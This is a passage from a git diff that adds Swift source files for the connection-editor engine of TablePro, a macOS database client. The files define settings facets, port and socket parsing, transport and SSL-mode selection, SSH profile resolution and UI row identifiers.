+ ] + if context.aiEnabled { + var rows: [EditorRow] = [.builtIn(.aiPolicy)] + if !draft.ai.alwaysAllowedTools.isEmpty { + rows.append(.builtIn(.alwaysAllowedTools)) + } + sections.append(SectionLayout(id: "ai", title: String(localized: "AI"), footer: nil, rows: rows)) + sections.append(SectionLayout( + id: "aiRules", + title: String(localized: "AI Rules"), + // swiftlint:disable:next line_length + footer: String(localized: "Guidance the AI sees on every chat turn for this connection: table conventions, columns to avoid, join hints, business rules the schema doesn't show."), + rows: [.builtIn(.aiRules)] + )) + } + return FacetLayout(facet: .aiAndMCP, title: ConnectionFacet.aiAndMCP.title, sections: sections) + } + + private static func startupFacet() -> FacetLayout { + FacetLayout(facet: .startup, title: ConnectionFacet.startup.title, sections: [ + SectionLayout( + id: "startupCommands", + title: String(localized: "Startup Commands"), + footer: String(localized: "SQL commands to run after connecting, e.g. SET time_zone = 'Asia/Ho_Chi_Minh'. One per line or separated by semicolons."), + rows: [.builtIn(.startupCommands)] + ), + SectionLayout( + id: "preConnect", + title: String(localized: "Pre-Connect Script"), + footer: String(localized: """ + Runs in bash before connecting. A non-zero exit aborts the connection. \ + TABLEPRO_CONNECTION_NAME, TABLEPRO_HOST, TABLEPRO_PORT, TABLEPRO_USER and \ + TABLEPRO_DATABASE describe the connection. + """), + rows: [.builtIn(.preConnectScript), .builtIn(.scriptTimeout)] + ), + SectionLayout( + id: "postDisconnect", + title: String(localized: "Post-Disconnect Script"), + footer: String(localized: "Runs in bash once the session ends, only after its pre-connect script ran. A failure is logged, not shown."), + rows: [.builtIn(.postDisconnectScript)] + ) + ]) + } + + // MARK: - Advanced + + private static func advancedFacet(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> FacetLayout { + let advancedFields = traits.fields.filter { $0.section == .advanced } + var sections: [SectionLayout] = [] + let driverRows = pluginRows(advancedFields.filter { $0.content == .plain }, draft, traits) + if !driverRows.isEmpty { + sections.append(SectionLayout(id: "driver", title: traits.displayName, footer: nil, rows: driverRows)) + } + for field in advancedFields where field.content == .attachedDatabases && isVisible(field, draft, traits) { + sections.append(SectionLayout( + id: "attachedDatabases-\(field.id)", + title: field.label, + footer: String(localized: "Attached each time the connection opens. Reach a table as name.table, and browse each database in the sidebar."), + rows: [.plugin(fieldID: field.id)] + )) + } + for field in advancedFields where field.content == .loadableExtensions && isVisible(field, draft, traits) { + sections.append(SectionLayout( + id: "extensions-\(field.id)", + title: field.label, + // swiftlint:disable:next line_length + footer: String(localized: "Loaded in this order each time the database file opens on this Mac. An extension runs with full access to your Mac, so add only files you trust."), + rows: [.plugin(fieldID: field.id)] + )) + } + sections.append(SectionLayout( + id: "timeouts", + title: String(localized: "Timeouts"), + footer: String(localized: """ + Query timeout applies only to database drivers that support it. \ + Use 0 for no limit. Reconnect to apply changes. + """), + rows: [.builtIn(.connectTimeout), .builtIn(.queryTimeout)] + )) + if traits.supportsBinaryInlineLimit { + sections.append(SectionLayout( + id: "tableData", + title: String(localized: "Table Data"), + footer: String(localized: """ + A larger binary value stays on the server until you open, copy or export it. \ + Applies to tables with a primary key. + """), + rows: [.builtIn(.binaryInlineLimit)] + )) + } + if traits.supportsIdentifierCase { + sections.append(SectionLayout( + id: "autocomplete", + title: String(localized: "Autocomplete"), + footer: String(localized: """ + Table, column and schema names take this case in autocomplete and in Copy as INSERT \ + and UPDATE when the server reads the new spelling as the same name. Other names are \ + quoted as stored. + """), + rows: [.builtIn(.identifierCase)] + )) + } + if context.syncEnabled { + sections.append(SectionLayout( + id: "sync", + title: String(localized: "iCloud Sync"), + footer: String(localized: "This connection won't sync to other devices via iCloud."), + rows: [.builtIn(.localOnly)] + )) + } + return FacetLayout(facet: .advanced, title: ConnectionFacet.advanced.title, sections: sections) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift new file mode 100644 index 0000000000..3f542cb291 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift @@ -0,0 +1,278 @@ +// +// ConnectionEditorEngine.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig + +// Facts from outside the draft that change what the editor shows, passed in by the store. +struct EditorContext: Equatable, Sendable { + var isNew = true + var originalType: DatabaseType? + var aiEnabled = false + var syncEnabled = false + var participatesInSync = false + var managedSafeModeMinimum: SafeModeLevel? + var credentialProfiles: [CredentialProfile] = [] + var credentialProfilesLoadFailed = false + var sshProfiles: [SSHProfile] = [] + var sshProfilesLoadFailed = false + var sshConfigEntries: [SSHConfigEntry] = [] + + func credentialProfile(_ id: UUID?) -> CredentialProfile? { + guard let id else { return nil } + return credentialProfiles.first { $0.id == id } + } + + func sshProfile(_ id: UUID?) -> SSHProfile? { + guard let id else { return nil } + return sshProfiles.first { $0.id == id } + } +} + +enum ConnectionEditorEngine { + static let portRange = 1...65_535 + + // MARK: - Values + + // Trimmed whole number in range; empty means the type's default. + static func parsePort(_ text: String) -> Int? { + let trimmed = text.trimmingCharacters(in: .whitespacesAndNewlines) + guard !trimmed.isEmpty, trimmed.allSatisfy(\.isASCII), let value = Int(trimmed), portRange.contains(value) else { + return nil + } + return value + } + + static func portIssue(_ text: String) -> String? { + let trimmed = text.trimmingCharacters(in: .whitespacesAndNewlines) + guard !trimmed.isEmpty, parsePort(trimmed) == nil else { return nil } + return String(localized: "Port must be a whole number between 1 and 65535") + } + + static func resolvedPort(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Int { + parsePort(draft.portText) ?? traits.defaultPort + } + + static func resolvedHost(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> String { + draft.host.trimmingCharacters(in: .whitespaces).isEmpty ? (traits.defaultHost ?? "localhost") : draft.host + } + + static func usesLocalSocket(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.supportsLocalSocket && draft.endpoint == .localSocket + } + + static func localSocketSkipsTLS(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + usesLocalSocket(draft, traits) && traits.localSocketIsDirectory + } + + // The driver hands the path to connect(2) unchanged, so `~` is expanded here. + static func resolvedLocalSocketPath(_ draft: ConnectionDraft) -> String? { + let trimmed = draft.localSocketPath.trimmingCharacters(in: .whitespacesAndNewlines) + guard !trimmed.isEmpty else { return nil } + return (trimmed as NSString).expandingTildeInPath + } + + struct SocketEndpoint: Equatable, Sendable { + let path: String + let port: Int + let socketFile: String + let issue: String? + } + + static func localSocketEndpoint(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> SocketEndpoint? { + guard usesLocalSocket(draft, traits), let path = resolvedLocalSocketPath(draft) else { return nil } + let port = resolvedPort(draft, traits) + guard traits.localSocketIsDirectory else { + return SocketEndpoint(path: path, port: port, socketFile: path, issue: MySQLLocalSocket.issue(for: path)?.message) + } + let endpoint = PostgreSQLLocalSocket.endpoint(path: path, port: port) + return SocketEndpoint( + path: endpoint.directory, + port: endpoint.port, + socketFile: endpoint.socketFile, + issue: PostgreSQLLocalSocket.issue(for: endpoint)?.message + ) + } + + static func forwardsToUnixSocket(_ draft: ConnectionDraft) -> Bool { + draft.transport == .ssh && !draft.sshForwardUnixSocketPath.trimmingCharacters(in: .whitespaces).isEmpty + } + + // MARK: - Plugin fields + + static func value(of field: ConnectionField, in draft: ConnectionDraft) -> String { + draft.fieldValues[field.id] ?? field.defaultValue ?? "" + } + + static func isVisible(_ field: ConnectionField, _ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.fields.isVisible(field, forValues: draft.fieldValues) + } + + static func hidesPassword(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.hidesBuiltInPassword || traits.fields.hidesPassword(forValues: draft.fieldValues) + } + + static func hidesUsername(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.fields.hidesUsername(forValues: draft.fieldValues) + } + + static func effectivePromptForPassword(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + draft.credentials.promptsForPassword && !hidesPassword(draft, traits) && traits.connectionMode != .fileBased + } + + static func clearsStoredPassword(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + !draft.credentials.usesProfile + && !effectivePromptForPassword(draft, traits) + && draft.credentials.password.isEmpty + && draft.credentials.storedPasswordState == .stored + } + + static func passwordSourceInUse(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> PasswordSource? { + draft.credentials.usesProfile || effectivePromptForPassword(draft, traits) ? nil : draft.credentials.passwordSource + } + + static func visibleHostListFields(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [ConnectionField] { + traits.fields.filter { field in + guard field.section == .connection, case .hostList = field.fieldType else { return false } + return isVisible(field, draft, traits) + } + } + + static func dialsForwardedEndpoint(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + guard traits.connectionMode != .network else { return true } + guard let endpointFields = traits.serverEndpointFields, + let hostField = traits.field(endpointFields.hostFieldId) + else { return false } + return isVisible(hostField, draft, traits) + } + + // MARK: - Transports + + // `.ssh` and `.remoteFile` share one SSH server, so only one of them is ever offered. + static func availableTransports(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [ConnectionTunnelKind?] { + guard !usesLocalSocket(draft, traits) else { return [nil] } + var transports: [ConnectionTunnelKind?] = [nil] + let forwards = dialsForwardedEndpoint(draft, traits) + if traits.supportsRemoteDatabaseFile { + transports.append(.remoteFile) + } else if forwards, traits.supportsSSH { + transports.append(.ssh) + } + guard forwards else { return transports } + if traits.supportsCloudflareTunnel { transports.append(.cloudflare) } + if traits.supportsCloudSQLProxy { transports.append(.cloudSQLProxy) } + if traits.supportsSOCKSProxy { transports.append(.socksProxy) } + if traits.supportsTunnelCommand { transports.append(.tunnelCommand) } + return transports + } + + static func normalized(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> ConnectionDraft { + guard !availableTransports(draft, traits).contains(draft.transport) else { return draft } + var normalized = draft + normalized.selectTransport(nil) + return normalized + } + + // MARK: - SSL + + static func showsSSL(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.supportsSSL && !localSocketSkipsTLS(draft, traits) + } + + // Through a TCP forward the driver checks the certificate against the host behind it, which some drivers cannot do. + static func dialsTunnelTCPForward(_ draft: ConnectionDraft) -> Bool { + switch draft.transport { + case .ssh: return !forwardsToUnixSocket(draft) + case .cloudflare, .socksProxy, .tunnelCommand: return true + case .cloudSQLProxy, .remoteFile, .remoteDatabaseSession, nil: return false + } + } + + static func offeredSSLModes(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [SSLMode] { + let supported = traits.ssl.supportedModes + guard dialsTunnelTCPForward(draft) else { return supported } + return supported.filter { traits.ssl.modesThroughTunnel.contains($0) } + } + + // MARK: - Safe Mode + + static func safeModeFloor(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> SafeModeFloor? { + SafeModeFloor.resolve( + isEngineReadOnly: traits.isEngineReadOnly, + opensRemoteDatabaseFile: draft.transport == .remoteFile && draft.ssh.remoteFileAccess == .readOnlyCopy, + managedMinimum: context.managedSafeModeMinimum + ) + } + + static func effectiveSafeModeLevel( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + _ context: EditorContext + ) -> SafeModeLevel { + safeModeFloor(draft, traits, context)?.raising(draft.safety.safeModeLevel) ?? draft.safety.safeModeLevel + } + + static func effectiveManualCommit(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.manualCommitAvailable && draft.safety.commitMode == .manual + } + + // MARK: - SSH resolution + + enum SSHResolution: Equatable { + case disabled + case inline(SSHConfiguration) + case profile(SSHProfile) + // The record names a profile this Mac does not have: it stays linked, with the stored snapshot. + case unresolvedProfile(id: UUID, snapshot: SSHConfiguration) + } + + static func sshResolution(_ draft: ConnectionDraft, _ context: EditorContext) -> SSHResolution { + guard draft.usesSSHServer else { return .disabled } + guard let profileId = draft.ssh.profileId else { + return .inline(draft.ssh.inlineConfiguration(enabled: true)) + } + if let profile = context.sshProfile(profileId) { + return .profile(profile) + } + var snapshot = draft.ssh.profileSnapshot ?? draft.ssh.inlineConfiguration(enabled: true) + snapshot.enabled = true + return .unresolvedProfile(id: profileId, snapshot: snapshot) + } + + static func sshProfileIsUnresolved(_ draft: ConnectionDraft, _ context: EditorContext) -> Bool { + if case .unresolvedProfile = sshResolution(draft, context) { return true } + return false + } + + static func credentialProfileIsMissing(_ draft: ConnectionDraft, _ context: EditorContext) -> Bool { + guard let id = draft.credentials.mode.profileId else { return false } + return context.credentialProfile(id) == nil + } + + // MARK: - Host list + + // Host and Port seed an empty list. A Host equal to the type's own default was filled in while hidden and stays out. + static func endpointList( + _ raw: String, + host: String, + port: Int, + traits: ConnectionTypeTraits + ) -> String? { + let effectivePort = port > 0 ? port : traits.defaultPort + let defaultHost = traits.defaultHost ?? "localhost" + let hasRows = raw.split(separator: ",").contains { !$0.trimmingCharacters(in: .whitespaces).isEmpty } + guard hasRows else { + return HostListEndpoint.parse(host.isEmpty ? defaultHost : host, defaultPort: effectivePort)?.entry + } + let listed = HostListEndpoint.parseList(raw, defaultPort: traits.defaultPort) + guard host != defaultHost || effectivePort != traits.defaultPort, + let primary = HostListEndpoint.parse(host, defaultPort: effectivePort), + !listed.contains(primary) + else { return raw } + return raw + "," + primary.entry + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionFacet.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionFacet.swift new file mode 100644 index 0000000000..a597815989 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionFacet.swift @@ -0,0 +1,45 @@ +// +// ConnectionFacet.swift +// TablePro +// + +import Foundation + +enum ConnectionFacet: String, CaseIterable, Hashable, Identifiable, Sendable { + case general + case sshAndProxies + case sslTLS + case appearance + case safeMode + case aiAndMCP + case startup + case advanced + + var id: String { rawValue } + + var title: String { + switch self { + case .general: return String(localized: "General") + case .sshAndProxies: return String(localized: "SSH & Proxies") + case .sslTLS: return String(localized: "SSL/TLS") + case .appearance: return String(localized: "Appearance") + case .safeMode: return String(localized: "Safe Mode") + case .aiAndMCP: return String(localized: "AI & MCP") + case .startup: return String(localized: "Startup") + case .advanced: return String(localized: "Advanced") + } + } + + var symbolName: String { + switch self { + case .general: return "gearshape" + case .sshAndProxies: return "network" + case .sslTLS: return "lock.shield" + case .appearance: return "paintpalette" + case .safeMode: return "shield.lefthalf.filled" + case .aiAndMCP: return "sparkles" + case .startup: return "terminal" + case .advanced: return "slider.horizontal.3" + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionTypeTraits.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionTypeTraits.swift new file mode 100644 index 0000000000..cab561586c --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionTypeTraits.swift @@ -0,0 +1,172 @@ +// +// ConnectionTypeTraits.swift +// TablePro +// + +import Foundation +import TableProPluginKit + +// The only reader of plugin metadata for the editor: everything else in the engine takes this value. +struct ConnectionTypeTraits: Sendable { + struct SSLTraits: Sendable, Equatable { + var defaultMode: SSLMode = .disabled + var supportsOpportunisticTLS = true + var tlsImpliedPorts: [Int] = [] + var modeWhenTLSEnabled: SSLMode = .required + var supportsPerConnectionCertificatePaths = true + var verifiesServerWithSystemTrust = false + var supportsClientKeyPassphrase = false + var note = "" + var supportedModes: [SSLMode] = SSLMode.allCases + var modesThroughTunnel: [SSLMode] = SSLMode.allCases + + func impliedMode(forPort port: Int) -> SSLMode? { + tlsImpliedPorts.contains(port) ? modeWhenTLSEnabled : nil + } + + func resolution(forPort port: Int) -> SSLModeResolution { + guard let implied = impliedMode(forPort: port) else { + return SSLModeResolution(mode: defaultMode, origin: .typeDefault) + } + return SSLModeResolution(mode: implied, origin: .impliedByPort) + } + + func requiresCACertificate(for mode: SSLMode) -> Bool { + guard mode == .verifyCa || mode == .verifyIdentity, supportsPerConnectionCertificatePaths else { return false } + return mode == .verifyCa || !verifiesServerWithSystemTrust + } + } + + var type: DatabaseType + var pluginTypeId: String + var displayName: String + var connectionMode: ConnectionMode = .network + var fields: [ConnectionField] = [] + var defaultPort: Int = 0 + var defaultHost: String? + var hidesBuiltInPassword = false + var showsBuiltInDatabaseField = true + var containerEntityName = String(localized: "Database") + var fileExtensions: [String] = [] + var newDatabaseFileExtensions: [String] = [] + var localFilePathField: LocalFilePathField? + var defaultLocalSocketPath: String? + var defaultUnixSocketPath: String? + var localSocketIsDirectory = false + var socketForwardApplies = true + var supportsSSH = true + var supportsSSL = true + var supportsCloudflareTunnel = true + var supportsSOCKSProxy = true + var supportsTunnelCommand = true + var supportsCloudSQLProxy = false + var supportsRemoteDatabaseFile = false + var supportsRemoteDatabaseSession = false + var serverEndpointFields: ServerEndpointFields? + var ssl = SSLTraits() + var isEngineReadOnly = false + var manualCommitAvailable = true + var supportsBinaryInlineLimit = false + var supportsIdentifierCase = false + var storedSecureFieldIds: [String] = [] + + init(type: DatabaseType) { + self.type = type + self.pluginTypeId = type.rawValue + self.displayName = type.rawValue + } + + var supportsLocalSocket: Bool { defaultLocalSocketPath != nil } + + var declaredSecureFieldIds: [String] { + fields.filter(\.isSecure).map(\.id) + } + + func field(_ id: String) -> ConnectionField? { + fields.first { $0.id == id } + } + + func defaultValues() -> [String: String] { + var values: [String: String] = [:] + for field in fields { + if let value = field.defaultValue { + values[field.id] = value + } + } + return values + } + + var defaultPortText: String { + defaultPort == 0 ? "" : String(defaultPort) + } + + @MainActor + static func live(for type: DatabaseType, pluginManager: PluginManager) -> ConnectionTypeTraits { + var traits = ConnectionTypeTraits(type: type) + let snapshot = PluginMetadataRegistry.shared.snapshot(for: type) + traits.pluginTypeId = type.pluginTypeId + traits.displayName = type.displayName + traits.connectionMode = pluginManager.connectionMode(for: type) + traits.fields = pluginManager.additionalConnectionFields(for: type) + traits.defaultPort = type.defaultPort + traits.defaultHost = type.defaultHost + traits.hidesBuiltInPassword = snapshot?.connection.hidesBuiltInPassword ?? false + traits.showsBuiltInDatabaseField = showsBuiltInDatabaseField( + mode: traits.connectionMode, + hidden: snapshot?.connection.hidesBuiltInDatabase ?? false, + switchesDatabases: pluginManager.supportsDatabaseSwitching(for: type) + ) + traits.containerEntityName = pluginManager.containerEntityName(for: type) + traits.fileExtensions = pluginManager.fileExtensions(for: type) + traits.newDatabaseFileExtensions = pluginManager.newDatabaseFileExtensions(for: type) + traits.localFilePathField = pluginManager.localFilePathField(for: type) + traits.defaultLocalSocketPath = pluginManager.defaultLocalSocketPath(for: type) + traits.defaultUnixSocketPath = pluginManager.defaultUnixSocketPath(for: type) + traits.localSocketIsDirectory = type.localSocketIsDirectory + traits.socketForwardApplies = DatabaseConnection.socketForwardApplies(to: type) + traits.supportsSSH = pluginManager.supportsSSH(for: type) + traits.supportsSSL = pluginManager.supportsSSL(for: type) + traits.supportsCloudflareTunnel = pluginManager.supportsCloudflareTunnel(for: type) + traits.supportsSOCKSProxy = pluginManager.supportsSOCKSProxy(for: type) + traits.supportsTunnelCommand = pluginManager.supportsTunnelCommand(for: type) + traits.supportsCloudSQLProxy = type.supportsCloudSQLProxy + traits.supportsRemoteDatabaseFile = pluginManager.supportsRemoteDatabaseFile(for: type) + traits.supportsRemoteDatabaseSession = pluginManager.supportsRemoteDatabaseSession(for: type) + traits.serverEndpointFields = snapshot?.capabilities.serverEndpointFields + traits.ssl = sslTraits(for: type, pluginManager: pluginManager) + traits.isEngineReadOnly = pluginManager.isEngineReadOnly(for: type) + traits.manualCommitAvailable = ManualCommit.isAvailable(for: type) + traits.supportsBinaryInlineLimit = pluginManager.binaryLengthFunction(for: type) != nil + traits.supportsIdentifierCase = type.identifierRules != nil + traits.storedSecureFieldIds = pluginManager.secureConnectionFieldIds(for: type) + return traits + } + + private static func showsBuiltInDatabaseField(mode: ConnectionMode, hidden: Bool, switchesDatabases: Bool) -> Bool { + switch mode { + case .fileBased: return false + case .apiOnly: return switchesDatabases && !hidden + default: return !hidden + } + } + + @MainActor + private static func sslTraits(for type: DatabaseType, pluginManager: PluginManager) -> SSLTraits { + var ssl = SSLTraits() + ssl.defaultMode = type.defaultSSLMode + ssl.supportsOpportunisticTLS = type.supportsOpportunisticTLS + ssl.tlsImpliedPorts = type.tlsImpliedPorts + ssl.modeWhenTLSEnabled = type.sslModeWhenTLSEnabled + ssl.supportsPerConnectionCertificatePaths = type.supportsPerConnectionCertificatePaths + ssl.verifiesServerWithSystemTrust = type.verifiesServerWithSystemTrust + ssl.supportsClientKeyPassphrase = type.supportsClientKeyPassphrase + ssl.note = type.sslPaneTooltip + // A registry plugin that is not installed has no type to ask, and the connect re-checks the mode anyway. + if pluginManager.isDriverInstalled(for: type), let plugin = pluginManager.driverPlugin(for: type) { + let pluginType = Swift.type(of: plugin) + ssl.supportedModes = pluginType.supportedSSLModes + ssl.modesThroughTunnel = pluginType.sslModesThroughTunnel + } + return ssl + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift b/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift new file mode 100644 index 0000000000..3faf12521b --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift @@ -0,0 +1,306 @@ +// +// EditorLayout.swift +// TablePro +// + +import Foundation + +struct EditorLayout: Equatable, Sendable { + var facets: [FacetLayout] + + var facetIDs: [ConnectionFacet] { facets.map(\.facet) } + + func facet(_ facet: ConnectionFacet) -> FacetLayout? { + facets.first { $0.facet == facet } + } + + func facet(containing row: EditorRow) -> ConnectionFacet? { + facets.first { $0.contains(row) }?.facet + } + + func contains(_ row: EditorRow) -> Bool { + facet(containing: row) != nil + } + + var allRows: [EditorRow] { + facets.flatMap { $0.sections.flatMap(\.rows) } + } +} + +struct FacetLayout: Equatable, Identifiable, Sendable { + var facet: ConnectionFacet + var title: String + var sections: [SectionLayout] + + var id: ConnectionFacet { facet } + + func contains(_ row: EditorRow) -> Bool { + sections.contains { $0.rows.contains(row) } + } + + func section(containing row: EditorRow) -> SectionLayout? { + sections.first { $0.rows.contains(row) } + } +} + +struct SectionLayout: Equatable, Identifiable, Sendable { + var id: String + var title: String? + var footer: String? + var rows: [EditorRow] +} + +enum EditorRow: Hashable, Sendable { + case builtIn(BuiltInRow) + case plugin(fieldID: String) + + var pluginFieldID: String? { + guard case .plugin(let fieldID) = self else { return nil } + return fieldID + } + + var accessibilityIdentifier: String { + switch self { + case .builtIn(let row): return row.accessibilityIdentifier + case .plugin(let fieldID): return "connection-field-\(fieldID)" + } + } +} + +enum BuiltInRow: Hashable, Sendable { + case name + case type + case environment + case endpointKind + case localSocketPath + case host + case port + case portTLSNotice + case databaseFile + case database + case credentialProfile + case username + case passwordSource + case passwordMode + case password + case kerberosNote + case pgpassStatus + + case transport + case sshForwardSocketPath + case remoteFilePath + case remoteFileAccess + case sshProfile + case sshProfileMissing + case sshConfigHost + case sshHost + case sshPort + case sshUsername + case sshAuthMethod + case sshPassword + case sshAgentSocket + case sshIdentityFile + case sshKeyFile + case sshKeyPassphrase + case sshNoAuthenticationNote + case sshTOTPMode + case sshTOTPSecret + case sshTOTPAlgorithm + case sshTOTPDigits + case sshTOTPPeriod + case jumpHost(UUID) + case addJumpHost + case cloudflareHostname + case cloudflareAuthMethod + case cloudflareSignIn + case cloudflareTokenId + case cloudflareTokenSecret + case cloudflareAutomaticPort + case cloudflareLocalPort + case cloudflareExposeToLAN + case cloudflareBinary + case cloudSQLInstance + case cloudSQLAuthMode + case cloudSQLServiceAccountKey + case cloudSQLIAMAuth + case cloudSQLPrivateIP + case cloudSQLAutomaticPort + case cloudSQLLocalPort + case cloudSQLBinary + case socksHost + case socksPort + case socksUsername + case socksPassword + case tunnelCommandMethod + case kubernetesResource + case kubernetesNamespace + case kubernetesContext + case awsTarget + case awsProfile + case awsRegion + case tunnelCommand + case tunnelCommandExecutable + case tunnelCommandPreview + + case sslMode + case sslNoFallbackNotice + case sslCertificateTrustNote + case sslCACertificate + case sslClientCertificate + case sslClientKey + case sslClientKeyPassphrase + + case icon + case color + case tags + case group + + case safeModeLevel + case manualCommit + case maskingRules + + case externalAccess + case aiPolicy + case alwaysAllowedTools + case aiRules + + case startupCommands + case preConnectScript + case scriptTimeout + case postDisconnectScript + + case connectTimeout + case queryTimeout + case binaryInlineLimit + case identifierCase + case localOnly + + var accessibilityIdentifier: String { + switch self { + case .name: return "connection-form-name" + case .type: return "connection-form-change-type" + case .environment: return "connection-form-environment" + case .endpointKind: return "connection-form-endpoint" + case .localSocketPath: return "connection-form-socket-path" + case .host: return "connection-form-host" + case .port: return "connection-form-port" + case .portTLSNotice: return "connection-form-port-tls-note" + case .databaseFile: return "connection-form-file-path" + case .database: return "connection-form-database" + case .credentialProfile: return "connection-form-credential-profile" + case .username: return "connection-form-username" + case .passwordSource: return "password-source-test" + case .passwordMode: return "connection-form-password-mode" + case .password: return "connection-form-password" + case .kerberosNote: return "connection-form-kerberos-note" + case .pgpassStatus: return "connection-form-pgpass-status" + case .transport: return "connection-form-transport" + case .sshForwardSocketPath: return "connection-form-ssh-forward-socket" + case .remoteFilePath: return "connection-form-remote-file-path" + case .remoteFileAccess: return "connection-form-remote-file-access" + case .sshProfile: return "connection-form-ssh-profile" + case .sshProfileMissing: return "connection-form-ssh-profile-missing" + case .sshConfigHost: return "connection-form-ssh-config-host" + case .sshHost: return "connection-form-ssh-host" + case .sshPort: return "connection-form-ssh-port" + case .sshUsername: return "connection-form-ssh-username" + case .sshAuthMethod: return "connection-form-ssh-auth-method" + case .sshPassword: return "connection-form-ssh-password" + case .sshAgentSocket: return "connection-form-ssh-agent-socket" + case .sshIdentityFile: return "connection-form-ssh-identity-file" + case .sshKeyFile: return "connection-form-ssh-key-file" + case .sshKeyPassphrase: return "connection-form-ssh-key-passphrase" + case .sshNoAuthenticationNote: return "connection-form-ssh-no-auth-note" + case .sshTOTPMode: return "connection-form-ssh-totp-mode" + case .sshTOTPSecret: return "connection-form-ssh-totp-secret" + case .sshTOTPAlgorithm: return "connection-form-ssh-totp-algorithm" + case .sshTOTPDigits: return "connection-form-ssh-totp-digits" + case .sshTOTPPeriod: return "connection-form-ssh-totp-period" + case .jumpHost(let id): return "connection-form-jump-host-\(id.uuidString)" + case .addJumpHost: return "connection-form-add-jump-host" + case .cloudflareHostname: return "connection-form-cloudflare-hostname" + case .cloudflareAuthMethod: return "connection-form-cloudflare-auth-method" + case .cloudflareSignIn: return "connection-form-cloudflare-sign-in" + case .cloudflareTokenId: return "connection-form-cloudflare-token-id" + case .cloudflareTokenSecret: return "connection-form-cloudflare-token-secret" + case .cloudflareAutomaticPort: return "connection-form-cloudflare-automatic-port" + case .cloudflareLocalPort: return "connection-form-cloudflare-local-port" + case .cloudflareExposeToLAN: return "connection-form-cloudflare-expose-lan" + case .cloudflareBinary: return "connection-form-cloudflare-binary" + case .cloudSQLInstance: return "connection-form-cloud-sql-instance" + case .cloudSQLAuthMode: return "connection-form-cloud-sql-auth-mode" + case .cloudSQLServiceAccountKey: return "connection-form-cloud-sql-key" + case .cloudSQLIAMAuth: return "connection-form-cloud-sql-iam" + case .cloudSQLPrivateIP: return "connection-form-cloud-sql-private-ip" + case .cloudSQLAutomaticPort: return "connection-form-cloud-sql-automatic-port" + case .cloudSQLLocalPort: return "connection-form-cloud-sql-local-port" + case .cloudSQLBinary: return "connection-form-cloud-sql-binary" + case .socksHost: return "connection-form-socks-host" + case .socksPort: return "connection-form-socks-port" + case .socksUsername: return "connection-form-socks-username" + case .socksPassword: return "connection-form-socks-password" + case .tunnelCommandMethod: return "connection-form-tunnel-method" + case .kubernetesResource: return "connection-form-kubernetes-resource" + case .kubernetesNamespace: return "connection-form-kubernetes-namespace" + case .kubernetesContext: return "connection-form-kubernetes-context" + case .awsTarget: return "connection-form-aws-target" + case .awsProfile: return "connection-form-aws-profile" + case .awsRegion: return "connection-form-aws-region" + case .tunnelCommand: return "connection-form-tunnel-command" + case .tunnelCommandExecutable: return "connection-form-tunnel-executable" + case .tunnelCommandPreview: return "connection-form-tunnel-preview" + case .sslMode: return "connection-form-ssl-mode" + case .sslNoFallbackNotice: return "connection-form-ssl-no-fallback" + case .sslCertificateTrustNote: return "connection-form-ssl-trust-note" + case .sslCACertificate: return "connection-form-ssl-ca" + case .sslClientCertificate: return "connection-form-ssl-client-certificate" + case .sslClientKey: return "connection-form-ssl-client-key" + case .sslClientKeyPassphrase: return "connection-form-ssl-key-passphrase" + case .icon: return "connection-form-icon" + case .color: return "connection-form-color" + case .tags: return "connection-form-tags" + case .group: return "connection-form-group" + case .safeModeLevel: return "connection-form-safe-mode" + case .manualCommit: return "connection-form-manual-commit" + case .maskingRules: return "connection-form-masking-rules" + case .externalAccess: return "connection-form-external-access" + case .aiPolicy: return "connection-form-ai-policy" + case .alwaysAllowedTools: return "connection-form-always-allowed-tools" + case .aiRules: return "connection-form-ai-rules" + case .startupCommands: return "connection-form-startup-commands" + case .preConnectScript: return "connection-form-pre-connect-script" + case .scriptTimeout: return "connection-form-script-timeout" + case .postDisconnectScript: return "connection-form-post-disconnect-script" + case .connectTimeout: return "connection-form-connect-timeout" + case .queryTimeout: return "connection-form-query-timeout" + case .binaryInlineLimit: return "connection-form-binary-inline-limit" + case .identifierCase: return "connection-form-identifier-case" + case .localOnly: return "connection-form-local-only" + } + } +} + +struct FieldIssue: Hashable, Identifiable, Sendable { + enum Severity: Hashable, Sendable { + case error + case warning + } + + var facet: 